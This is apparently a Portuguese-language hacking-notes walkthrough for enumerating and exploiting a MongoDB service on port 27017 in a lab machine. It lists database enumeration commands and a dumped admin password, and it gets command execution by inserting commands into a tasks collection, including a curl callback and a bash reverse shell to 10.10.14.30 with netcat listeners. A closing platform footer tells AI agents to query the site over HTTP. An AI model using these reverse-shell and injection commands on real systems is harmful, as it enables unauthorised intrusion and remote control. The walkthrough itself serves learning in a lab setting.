> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/ports-and-services/mongodb-27017.md).

# MongoDB - 27017

### Enumeração do MongoDB

<figure><img src="/files/e670f8d8441e1ee1df339f8e3e308fe1d45ec695" alt=""><figcaption></figcaption></figure>

Conecte-se ao banco de dados MongoDB na porta 27017:

```bash
mongo
show dbs
use blog
show tables
db.users.find()
```

<figure><img src="/files/f9570e0253f78475fe5ea0403c202bdc7e5f64b3" alt="" width="563"><figcaption></figcaption></figure>

* user: admin
* password: IppsecSaysPleaseSubscribe

<figure><img src="/files/36fb0cd21e9a1ce0686cb9c7e407ce5d1cbc5401" alt=""><figcaption></figcaption></figure>

### RCE no MongoDB

O `app.js` o script executa comandos do sistema a partir de documentos do MongoDB por meio de `doc.cmd`. Esta é uma vulnerabilidade crítica porque comandos arbitrários podem ser injetados e executados.

<figure><img src="/files/36b31f377bafa33e4f9662ed7bd8151841a190ad" alt=""><figcaption></figcaption></figure>

Confirme a execução de comandos por meio do MongoDB.

**Crie um servidor web local**

Na máquina atacante, inicie um servidor web para observar as requisições:

```bash
python3 -m http.server 80
```

**Insira um comando de teste na `tasks` coleção**

No MongoDB, insira um comando que faça uma requisição HTTP para a máquina atacante:

```bash
db.tasks.insert({  cmd: "curl http://10.10.14.30"})
```

**Observe as requisições**

Se você vir uma requisição nos logs do servidor web, isso confirma que os comandos estão sendo executados.

<figure><img src="/files/09143c72756f0caefc83cd6b75a3d40430517a96" alt=""><figcaption></figcaption></figure>

Configure uma shell reversa e aguarde na porta 443:

```bash
nc -nlvp 443
```

#### Inicie uma shell reversa

**Configure um listener na porta 443** Na máquina atacante:

```bash
nc -nlvp 443
```

**Insira um comando de shell reversa**

No MongoDB, insira um comando para estabelecer uma shell reversa:

```bash
db.tasks.insert({  cmd: "bash -c 'bash -i >&/dev/tcp/10.10.14.30/443 0>&1'"})
```

**Conexão bem-sucedida** Depois que o comando é executado, você obtém uma shell interativa na máquina alvo sob o usuário **tom**.

<figure><img src="/files/3792a0f8bb9bfd0b661b3bb4006f880f9681db2e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/ports-and-services/mongodb-27017.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
